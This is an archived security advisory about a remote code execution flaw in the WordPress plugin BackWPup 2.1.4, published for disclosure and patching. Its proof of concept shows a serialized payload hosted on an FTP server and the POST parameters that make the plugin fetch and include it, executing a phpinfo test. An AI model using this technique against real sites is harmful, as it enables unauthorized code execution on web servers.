what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress BackWPup 2.1.4 Code Execution

WordPress BackWPup 2.1.4 Code Execution
Posted Oct 17, 2011
Authored by Phil Taylor | Site senseofsecurity.com.au

WordPress plugin BackWPup version 2.1.4 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | e8922fa4c7addf7e093d643ed4e3247a3aeeba16d61549f286d287b09cde8758

WordPress BackWPup 2.1.4 Code Execution

Change Mirror Download
Sense of Security - Security Advisory - SOS-11-012

Release Date. 17-Oct-2011
Vendor Notification Date. 14-Oct-2011
Product. BackWPUp
Platform. WordPress
Affected versions. 2.1.4
Severity Rating. High
Impact. System access
Attack Vector. Remote without authentication
Solution Status. Upgrade to 2.1.5
CVE reference. Not yet assigned

Details.
========

A vulnerability has been discovered in the WordPress plugin BackWPup
2.1.4 which can be exploited to execute local or remote code on the
web server.

There is a lack of data validation on the BackWPUpJobTemp POST
parameter of job/wp_export_generate.php allowing an attacker to
specify FTP resources as input.

This resource is downloaded and deserialised by the wp_export_generate.php
script and variables from this deserialisation are later passed to
require_once.

Proof of Concept.
=================

Upload the following to a publicly accessible FTP server and
name it "file.txt.running".

a:2:{s:7:"WORKING";a:1:{s:5:"NONCE";s:3:"123";}s:8:"ABS_PATH";s:25:
"data://text/plain;base64,PD8gcGhwaW5mbygpOyBkaWUoKTs=";}

This serialised string creates an array containing:

$infile['WORKING'] = array();
$infile['WORKING']['NONCE'] = '123';
$infile['ABS_PATH'] =
'data://text/plain;base64,PD8gcGhwaW5mbygpOyBkaWUoKTs=';

Once uploaded ensure the FTP file is writeable and issue a POST to
"job/wp_export_generate.php" with the following parameters:

$_POST['BackWPupJobTemp'] = "ftp://user:password@10.2.0.128/file.txt";
$_POST['nonce'] = '123';
$_POST['type'] = 'getxmlexport';

The string included in $infile['ABS_PATH'] will then have "wp-load.php"
appended to it and passed to require_once.

In the above example the code contained in the base64 encoded string will
then be executed. The above code executes .phpinfo(); die();..
allow_URL_include will need to be on to allow to allow for remote file
inclusion, however local file inclusion could easily be achieved by using
null byte injection.

Solution.
=========
Upgrade to BackWPUp 2.1.5 of above.

Discovered by.
Phil Taylor from Sense of Security Labs.

About us.
Sense of Security is a leading provider of information security and risk
management solutions. Our team has expert skills in assessment and
assurance,
strategy and architecture, and deployment through to ongoing management.
We are Australia's premier application penetration testing firm and trusted
IT security advisor to many of the country.s largest organisations.

Sense of Security Pty Ltd
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-11-012.pdf

Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php
Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    17 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close